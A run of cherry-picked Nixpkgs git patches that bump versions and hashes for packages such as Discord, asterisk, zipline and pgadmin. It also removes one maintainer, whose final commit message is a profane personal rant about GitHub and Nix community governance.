--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -12,7 +12,7 @@ let
         stable = "0.0.108";
         ptb = "0.0.159";
         canary = "0.0.751";
-        development = "0.0.84";
+        development = "0.0.85";
       }
     else
       {
@@ -38,7 +38,7 @@ let
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";
-        hash = "sha256-0SmCBi/fl77m5PzI5O38CpAoIzyQc+eRUKLyKVMQ6Dc=";
+        hash = "sha256-GW5LrPMr0uS5ko+FwKfU++4hhzqBQ6FDYBoM2fxDQcE=";
       };
     };
     x86_64-darwin = {

From 03857a16f629a1397327462da0c81d1178766380 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:12:05 +0000
Subject: [PATCH 4335/4511] pkgsCross.aarch64-darwin.discord: 0.0.356 ->
 0.0.359

(cherry picked from commit 1c181a30409f38245e79d35e9a6c0b4f89cb7eb7)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 2d5d7d0be23b..1cb7a3f87cf8 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -16,7 +16,7 @@ let
       }
     else
       {
-        stable = "0.0.356";
+        stable = "0.0.359";
         ptb = "0.0.186";
         canary = "0.0.844";
         development = "0.0.97";
@@ -44,7 +44,7 @@ let
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-oATRY8cpdpTZr7iMQ/SIvSbXDxhsCviQQFqytDG9u/c=";
+        hash = "sha256-bxKzOPiljJaY78aiX2BklfMHXgwKrLuWEQVmrNk3TdE=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";

From e9f0fab876f576215e2186e2f4281e96948f6aa0 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:15:53 +0000
Subject: [PATCH 4336/4511] pkgsCross.aarch64-darwin.discord-ptb: 0.0.186 ->
 0.0.190

(cherry picked from commit 60bb21fb8dfd1c2673aeee797020e351d586a85b)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 1cb7a3f87cf8..d1f157664eaa 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -17,7 +17,7 @@ let
     else
       {
         stable = "0.0.359";
-        ptb = "0.0.186";
+        ptb = "0.0.190";
         canary = "0.0.844";
         development = "0.0.97";
       };
@@ -48,7 +48,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-f5qoDpwcp1qBDyD+0QPE7KU6pJLALZPO7auGoo3JJiA=";
+        hash = "sha256-2Y95SW9b6SeZdeTUmIedAQYJ/5WylL4soGAbUSdDyuQ=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";

From 2802c7688fdb6bac1d4a69faea572addc5deaeae Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 6 Sep 2025 16:19:09 +0000
Subject: [PATCH 4337/4511] pkgsCross.aarch64-darwin.discord-canary: 0.0.844 ->
 0.0.857

(cherry picked from commit ed6c2d9c165a46d86654d9e6955c6f8e2772b3a5)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index d1f157664eaa..c0b094f1026c 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.359";
         ptb = "0.0.190";
-        canary = "0.0.844";
+        canary = "0.0.857";
         development = "0.0.97";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-i5ffkto9QoMorqsLQSUF9KnSHOK0tEFcPqkhSJ9cV+s=";
+        hash = "sha256-omk2vau5LKRhxgcG3k4dYqyc3YH7mZ72Nz4lQyaoO0c=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From f6e74417eb4654c0bc27d2f035c295fcd96d5a1d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 2 Sep 2025 09:59:23 +0000
Subject: [PATCH 4338/4511] asterisk: 20.15.1 -> 20.15.2

This also updates asterisk 18 (18.26.3 -> 18.26.4).
The new version requires pjproject
to be updated: 2.14.1 -> 2.15.1 .
Luckily, this is the version that is also used by
other asterisk version, so we simply drop the old
pjproject and unconditionally use version 2.15.1 .

Co-authored-by: Yarny0 <41838844+Yarny0@users.noreply.github.com>
(cherry picked from commit 9449ada53e2c14626798b54cf60957e37774eeeb)
---
 pkgs/servers/asterisk/default.nix   | 12 ++----------
 pkgs/servers/asterisk/versions.json | 16 ++++++++--------
 2 files changed, 10 insertions(+), 18 deletions(-)

diff --git a/pkgs/servers/asterisk/default.nix b/pkgs/servers/asterisk/default.nix
index 1f4854c0b9c3..bf048d5f4bda 100644
--- a/pkgs/servers/asterisk/default.nix
+++ b/pkgs/servers/asterisk/default.nix
@@ -163,12 +163,7 @@ let
       };
     };
 
-  pjproject_2_14_1 = fetchurl {
-    url = "https://raw.githubusercontent.com/asterisk/third-party/master/pjproject/2.14.1/pjproject-2.14.1.tar.bz2";
-    hash = "sha256-MtsK8bOc0fT/H/pUydqK/ahMIVg8yiRDt3TSM1uhUFQ=";
-  };
-
-  pjproject_2_15_1 = fetchurl {
+  pjproject = fetchurl {
     url = "https://raw.githubusercontent.com/asterisk/third-party/master/pjproject/2.15.1/pjproject-2.15.1.tar.bz2";
     hash = "sha256-WLuDzsTUMfSNAG5FXYIWaEUPjPa2yV8JDe9HBi+jpgw=";
   };
@@ -191,13 +186,10 @@ let
   versions = lib.mapAttrs (
     _:
     { version, sha256 }:
-    let
-      pjsip = if lib.versionAtLeast version "20" then pjproject_2_15_1 else pjproject_2_14_1;
-    in
     common {
       inherit version sha256;
       externals = {
-        "externals_cache/${pjsip.name}" = pjsip;
+        "externals_cache/${pjproject.name}" = pjproject;
         "addons/mp3" = mp3-204;
       };
     }
diff --git a/pkgs/servers/asterisk/versions.json b/pkgs/servers/asterisk/versions.json
index 87be36fffdc9..853dfcb4dec4 100644
--- a/pkgs/servers/asterisk/versions.json
+++ b/pkgs/servers/asterisk/versions.json
@@ -1,18 +1,18 @@
 {
   "asterisk_18": {
-    "sha256": "0df8be2f57779019895628363a11f74ea356068cca983462ec0feb72528fc8e9",
-    "version": "18.26.3"
+    "sha256": "a17f511bfa092c8fa9eccd3a5ecf5f728ccdcf2b1a04d2c06e7177d96c3c9ee1",
+    "version": "18.26.4"
   },
   "asterisk_20": {
-    "sha256": "fa286ac7a024e685233af6fde54a68a21c8e9934b438da878fb3cff080a6346c",
-    "version": "20.15.1"
+    "sha256": "4bbe0aaecc0e7294780269a5dc7ff78a85c58cf26ffc63dd63be5406eef0b687",
+    "version": "20.15.2"
   },
   "asterisk_21": {
-    "sha256": "811c5b8c501004ee378e77efd009892b366a03a508cfc51eead52396cbf65b2c",
-    "version": "21.10.1"
+    "sha256": "9624e807a1138cabed14431a326c9870e53fc132738dbbd61314abc027785d94",
+    "version": "21.10.2"
   },
   "asterisk_22": {
-    "sha256": "cbe67229f813ccf5e545fbda1fc05eb221897bf03393917390f8f6235cc62179",
-    "version": "22.5.1"
+    "sha256": "5061c852fd850b17e6be9d866c8e73298471883fc5e3ccd5a24b3e1364e24218",
+    "version": "22.5.2"
   }
 }

From 19ec248277b375437d72dd1ba989b75b7e43ab3e Mon Sep 17 00:00:00 2001
From: Justin ! <just1602@riseup.net>
Date: Wed, 23 Jul 2025 13:08:39 -0400
Subject: [PATCH 4339/4511] lixPackageSets.lix_2_93: 2.93.2 -> 2.93.3

For the complete git log:
https://git.lix.systems/lix-project/lix/compare/2.93.2...2.93.3

(cherry picked from commit 92a350d83d2e31ea119ac0669d462741f8efd093)
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 9d4a568793fb..50443b90f31c 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -221,14 +221,14 @@ lib.makeExtensible (self: {
     attrName = "lix_2_93";
 
     lix-args = rec {
-      version = "2.93.2";
+      version = "2.93.3";
 
       src = fetchFromGitea {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-J4ycLoXHPsoBoQtEXFCelL4xlq5pT8U9tNWNKm43+YI=";
+        hash = "sha256-Oqw04eboDM8rrUgAXiT7w5F2uGrQdt8sGX+Mk6mVXZQ=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {

From a67c6e3adc18e1f36d050b9792c29c9daadb5bd4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 21 Aug 2025 13:20:07 +0000
Subject: [PATCH 4340/4511] paretosecurity: 0.3.2 -> 0.3.3

(cherry picked from commit bb96669feb6b7ed971ecd17f87441761b713293a)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index e03080ce4129..495c90a3a3ef 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,13 +17,13 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.3.2";
+  version = "0.3.3";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-TXKymCFr2lrbgmbCxI3vIKx61nbOaRmuUTwNn7k0Hm0=";
+    hash = "sha256-IZrpGwm+j1jcKtcM23lcycOlLUuGerF41fWanWBgr40=";
   };
 
   vendorHash = "sha256-DlCGCheJHa4HPM7kfX/UbOfLukAiaoP7QZnabkZVASM=";

From bf449eb949b017b7702060dfd8f6c6a6ce4957e8 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 5 Sep 2025 19:28:46 +0000
Subject: [PATCH 4341/4511] zipline: 4.2.3 -> 4.3.0

Changelog: https://github.com/diced/zipline/releases/tag/v4.3.0
Diff: https://github.com/diced/zipline/compare/v4.2.3...v4.3.0
(cherry picked from commit ccb4d54897ab5d4940801e35c57b558b8696705d)
---
 pkgs/by-name/zi/zipline/package.nix | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index c215bfe4dbab..8ae1bd49ffe2 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -5,6 +5,7 @@
   pnpm_10,
   nodejs_24,
   makeWrapper,
+  prisma,
   prisma-engines,
   ffmpeg,
   openssl,
@@ -48,13 +49,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.2.3";
+  version = "4.3.0";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-WyL/ItY/hvmBDRBB063QAIATPT51bPChkFKH7i32sz0=";
+    hash = "sha256-/UNSAvXfVeybFGFFQaVklAbKGT64pa37DmUilzo5ss4=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git_head
@@ -62,10 +63,15 @@ stdenv.mkDerivation (finalAttrs: {
     '';
   };
 
+  postPatch = ''
+    substituteInPlace src/lib/db/migration/index.ts \
+      --replace-fail "pnpm prisma" ${lib.getExe' prisma "prisma"}
+  '';
+
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    fetcherVersion = 1;
-    hash = "sha256-LDLcde+p0wjy1BddiNxJwFLS/7O9jGpMNapojZIipeA=";
+    fetcherVersion = 2;
+    hash = "sha256-TCbtaxc8AEpFhaHpK+NIrLPR6dQ+iFIEfEfwKob61yI=";
   };
 
   buildInputs = [
@@ -106,7 +112,7 @@ stdenv.mkDerivation (finalAttrs: {
 
     mkdir -p $out/{bin,share/zipline}
 
-    cp -r build generated node_modules prisma .next mimes.json code.json package.json $out/share/zipline
+    cp -r build node_modules prisma mimes.json code.json package.json $out/share/zipline
 
     mkBin() {
       makeWrapper ${lib.getExe nodejs_24} "$out/bin/$1" \

From f02caa915c131c199c0c93d7ba45e57aa0c4e0fc Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Fri, 5 Sep 2025 21:24:17 +0200
Subject: [PATCH 4342/4511] tauno-monitor: 0.2.16 -> 0.2.17

(cherry picked from commit 3899f550c8dc94bf2231812e581088fa75154d56)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index 102b711c10bd..2431fe4b21ef 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.2.16";
+  version = "0.2.17";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-0fwZc/aAdHsw8/Wa+Efi9lcvoWuJeJvTUaUUGzR1C+E=";
+    hash = "sha256-klYL9A2E7MsgzX9Aj0nrmaKWjvzI3giZVZVvFot16XU=";
   };
 
   nativeBuildInputs = [

From 229d4b7ec071e1d927f7c7ee07ecad627012c3ba Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Sun, 7 Sep 2025 11:37:11 +0200
Subject: [PATCH 4343/4511] rundeck: 5.14.1 -> 5.15.0

(cherry picked from commit b660b9ab712c33a24a7dd1983120192f7aa19ac6)
---
 pkgs/by-name/ru/rundeck/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ru/rundeck/package.nix b/pkgs/by-name/ru/rundeck/package.nix
index 34e1d5644cf4..561f5d6e6733 100644
--- a/pkgs/by-name/ru/rundeck/package.nix
+++ b/pkgs/by-name/ru/rundeck/package.nix
@@ -12,11 +12,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rundeck";
-  version = "5.14.1-20250818";
+  version = "5.15.0-20250902";
 
   src = fetchurl {
     url = "https://packagecloud.io/pagerduty/rundeck/packages/java/org.rundeck/rundeck-${finalAttrs.version}.war/artifacts/rundeck-${finalAttrs.version}.war/download?distro_version_id=167";
-    hash = "sha256-x+Le75dX5NcnOAMK77VyKltbwqNy0tfpXB/HeXKCS4A=";
+    hash = "sha256-3Nlpd0Sl6NCH+TNPNnh7NJxzOZUNQvKupyFOQOdJsto=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 3b0ebbb85d90c59ba9264ca7b04d56f4f4cfd12d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:32:35 -0300
Subject: [PATCH 4344/4511] bluejay: remove federicoschonborn from maintainers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit fc7db8ff3e70090f3451e8e505db6557d931d167)
---
 pkgs/by-name/bl/bluejay/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/bl/bluejay/package.nix b/pkgs/by-name/bl/bluejay/package.nix
index f702954261e8..b0b6126f97eb 100644
--- a/pkgs/by-name/bl/bluejay/package.nix
+++ b/pkgs/by-name/bl/bluejay/package.nix
@@ -46,6 +46,6 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://github.com/EbonJaeger/bluejay/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.mpl20;
     platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [ federicoschonborn ];
+    maintainers = with lib.maintainers; [ ];
   };
 })

From 5d4b8f0d3046a363097421648719041e8c3688b6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:32:50 -0300
Subject: [PATCH 4345/4511] hedgemodmanager: remove federicoschonborn from
 maintainers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit 772e603ae90a66fc8521f6fce8d7aa267a53b0d1)
---
 pkgs/by-name/he/hedgemodmanager/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/he/hedgemodmanager/package.nix b/pkgs/by-name/he/hedgemodmanager/package.nix
index de333ce11701..a8d82929ad7a 100644
--- a/pkgs/by-name/he/hedgemodmanager/package.nix
+++ b/pkgs/by-name/he/hedgemodmanager/package.nix
@@ -48,6 +48,6 @@ buildDotnetModule (finalAttrs: {
     changelog = "https://github.com/hedge-dev/HedgeModManager/releases/tag/${finalAttrs.version}";
     license = lib.licenses.mit;
     platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [ federicoschonborn ];
+    maintainers = with lib.maintainers; [ ];
   };
 })

From 3db90216b7d4e99d91646a7c3e0a7bee9dedc88b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:33:11 -0300
Subject: [PATCH 4346/4511] hugo: remove federicoschonborn from maintainers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit 3b62ff91df83af5f5cb6b2184ecc89dd3b999c76)
---
 pkgs/by-name/hu/hugo/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/hu/hugo/package.nix b/pkgs/by-name/hu/hugo/package.nix
index 58f0562e701a..7f916b836b41 100644
--- a/pkgs/by-name/hu/hugo/package.nix
+++ b/pkgs/by-name/hu/hugo/package.nix
@@ -84,7 +84,6 @@ buildGoModule (finalAttrs: {
       schneefux
       Br1ght0ne
       Frostman
-      federicoschonborn
     ];
   };
 })

From 1c93e8db76b02ad072027c665b3335defba4edd3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:33:44 -0300
Subject: [PATCH 4347/4511] opensurge: remove federicoschonborn from
 maintainers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit 2c5b8457d2dd4d7d684d3a7e00eefc168e8cfaf5)
---
 pkgs/by-name/op/opensurge/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/op/opensurge/package.nix b/pkgs/by-name/op/opensurge/package.nix
index 566a189e706c..a9e7decde0f5 100644
--- a/pkgs/by-name/op/opensurge/package.nix
+++ b/pkgs/by-name/op/opensurge/package.nix
@@ -59,6 +59,6 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://github.com/alemart/opensurge/blob/v${finalAttrs.version}/CHANGES.md";
     license = lib.licenses.gpl3Only;
     platforms = lib.platforms.all;
-    maintainers = with lib.maintainers; [ federicoschonborn ];
+    maintainers = with lib.maintainers; [ ];
   };
 })

From 0b0b3ea36b38cbd6b8a774ee780dd1ba8dc1a0aa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:34:02 -0300
Subject: [PATCH 4348/4511] surgescript: remove federicoschonborn from
 maintainers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit 3e88759063030071886b8775a09e18d7b81817a1)
---
 pkgs/by-name/su/surgescript/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/su/surgescript/package.nix b/pkgs/by-name/su/surgescript/package.nix
index 6d340cb3e347..55c7ffd67c25 100644
--- a/pkgs/by-name/su/surgescript/package.nix
+++ b/pkgs/by-name/su/surgescript/package.nix
@@ -37,6 +37,6 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://github.com/alemart/surgescript/blob/v${finalAttrs.version}/CHANGES.md";
     license = lib.licenses.asl20;
     platforms = lib.platforms.all;
-    maintainers = with lib.maintainers; [ federicoschonborn ];
+    maintainers = with lib.maintainers; [ ];
   };
 })

From b17678fbbc0475e604784d457ec33946fe0c6f01 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:34:19 -0300
Subject: [PATCH 4349/4511] xdvdfs-cli: remove federicoschonborn from
 maintainers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit 135bca15a7e226b25cb7f0d9acf38983ffa0686c)
---
 pkgs/by-name/xd/xdvdfs-cli/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/xd/xdvdfs-cli/package.nix b/pkgs/by-name/xd/xdvdfs-cli/package.nix
index 8dcc9dbdf6c7..852129c1be7b 100644
--- a/pkgs/by-name/xd/xdvdfs-cli/package.nix
+++ b/pkgs/by-name/xd/xdvdfs-cli/package.nix
@@ -35,6 +35,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     homepage = "https://github.com/antangelo/xdvdfs";
     changelog = "https://github.com/antangelo/xdvdfs/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ federicoschonborn ];
+    maintainers = with lib.maintainers; [ ];
   };
 })

From dbdbe34c37bad41a9572bd3ef8c6ccde88171791 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Sun, 7 Sep 2025 14:35:03 -0300
Subject: [PATCH 4350/4511] maintainers: remove federicoschonborn
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

*This is a very disorganized rant, there's a lot of things going on in my mind when writing this. Proceed with caution.*

I was going to make a short message to explain why I'm removing my Microsoft GitHub account and removing myself from Nixpkgs, which is the only project I had been contributing left here (maybe if you keep integrating more of Microsoft GitHub's crap on this repository it will help migrate somewhere else one day!)

I'm tired of Microsoft GitHub becoming more and more open to associating with fascists, I've been guilty myself for keeping using it for so long (the company's involvement with ICE was known for a long time, then more recently the inclusion of <the company named after Elon Musk's failed PayPal rebranding>'s "xAI" slop generator also known as "Mecha Hitler").

Not to count all the Microsoft crap.

This site is going the way of the old SourceForge.

The thing is, I *loved* Nix, NixOS and Nixpkgs a lot, and I wanted to keep contributing.

This is the third time I'm leaving and this time it's not because of Determinate Systems and other associated companies. Woo-hoo!

I'm sure all those fancy new features that keep being added to the fork are going to trickle down to NixOS/nix *one day*!

But then I said, "I haven't looked at the Discourse for a while, maybe I should take a look at it, *what could possibly go wrong?*"

It turns out, [we did it again](https://discourse.nixos.org/t/sc-member-tomberek-works-for-anduril/68971), Anduril is back to being involved in a leadership position within the NixOS community! Congratulations, Mr. Luckey, you found a loophole!

The Steering Committee proves once again that they are a failed experiment, unfit to lead responsibly. After all the promises that were made we keep failing for the same old tricks.

I'm tired of the long discussions that go nowhere.

I'm tired of seeing people compromising with fascists.

I'm tired of seeing *myself* compromising with fascists.

Fuck this, fuck Microsoft, fuck GitHub, fuck Anduril, fuck Determinate Systems, fuck all those who are helping them inside and outside this community because they're either fascists themselves or because they're incredibly naïve.

Hell,

Fuck *myself* for standing with this shit for so long.

Fuck *myself* for coming back time and time again, knowing what I was doing.

Fuck *myself* for trying to pretend all this shit was going to stop at some point.

Fuck *myself* for trusting people that never really wanted to change any of this.

Fuck *myself* for helping war-profiteering companies thrive, directly or indirectly.

We don't need to meet in the middle with people that want me and a lot of other contributors dead in a ditch.

I'll keep an eye on the Lix and Auxolotl projects and Guix, since their communities have a little more self-respect.

See you on the other side!

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>
(cherry picked from commit 903c309ab4ec535830f49a274b9916ced32bcb81)
---
 maintainers/maintainer-list.nix | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index c135bc1f439e..525fc75d896f 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -7980,13 +7980,6 @@
     github = "feathecutie";
     githubId = 53912746;
   };
-  federicoschonborn = {
-    name = "Federico Damián Schonborn";
-    email = "federicoschonborn@disroot.org";
-    github = "FedericoSchonborn";
-    githubId = 62166915;
-    matrix = "@FedericoDSchonborn:matrix.org";
-  };
   fedx-sudo = {
     email = "fedx-sudo@pm.me";
     github = "FedX-sudo";

From 86b53e28480ccb963eacebdebd8764b37f32c23e Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Wed, 4 Jun 2025 11:50:08 +0200
Subject: [PATCH 4351/4511] pgadmin: 9.3 -> 9.4

also fix update.sh

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit 59a08084f2a8e46ab024ce4d1cf9e26f2ca534f8)
---
 pkgs/tools/admin/pgadmin/default.nix | 7 +++----
 pkgs/tools/admin/pgadmin/update.sh   | 1 +
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/tools/admin/pgadmin/default.nix b/pkgs/tools/admin/pgadmin/default.nix
index ab78cdeee48c..1bd7de472492 100644
--- a/pkgs/tools/admin/pgadmin/default.nix
+++ b/pkgs/tools/admin/pgadmin/default.nix
@@ -22,14 +22,14 @@
 
 let
   pname = "pgadmin";
-  version = "9.3";
-  yarnHash = "sha256-T6RKWuAAoJgbzJKef4ioOoUDtoGM9s9BFqxFdy5EtyQ=";
+  version = "9.4";
+  yarnHash = "sha256-AlAyHtadjmKZb0rHNIlaPtEcGFQ15Fc6rExMsNFGwDc=";
 
   src = fetchFromGitHub {
     owner = "pgadmin-org";
     repo = "pgadmin4";
     rev = "REL-${lib.versions.major version}_${lib.versions.minor version}";
-    hash = "sha256-4uupF1dw6OE/briAI5PWiQ7h6RPx1sUqf8PB8cJsNSU=";
+    hash = "sha256-oslp9g63mYeP9CmpCzF80nlyqF1ftGbMRIsp6goJOx4=";
   };
 
   mozjpeg-bin = fetchFromGitHub {
@@ -247,7 +247,6 @@ pythonPackages.buildPythonApplication rec {
     azure-identity
     sphinxcontrib-youtube
     dnspython
-    speaklater3
     google-auth-oauthlib
     google-api-python-client
     keyring
diff --git a/pkgs/tools/admin/pgadmin/update.sh b/pkgs/tools/admin/pgadmin/update.sh
index 0205b654e437..ef09e7250f75 100755
--- a/pkgs/tools/admin/pgadmin/update.sh
+++ b/pkgs/tools/admin/pgadmin/update.sh
@@ -41,6 +41,7 @@ pushd $TMPDIR
 wget -c $url
 tar -xzf "pgadmin4-$newest_version.tar.gz"
 cd "pgadmin4-$newest_version/web"
+patch -u yarn.lock ${scriptDir}/mozjpeg.patch
 
 printf "Will now generate the hash. This will download the packages to the nix store and also take some time\n"
 yarn-berry-fetcher missing-hashes yarn.lock

From 1d64478f56162fd0881c66910881f1167e154568 Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Mon, 30 Jun 2025 21:32:09 +0200
Subject: [PATCH 4352/4511] pgadmin: 9.4 -> 9.5

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit 0dc4b8e99b1f8474798fdb5fc0fe62036af79461)
---
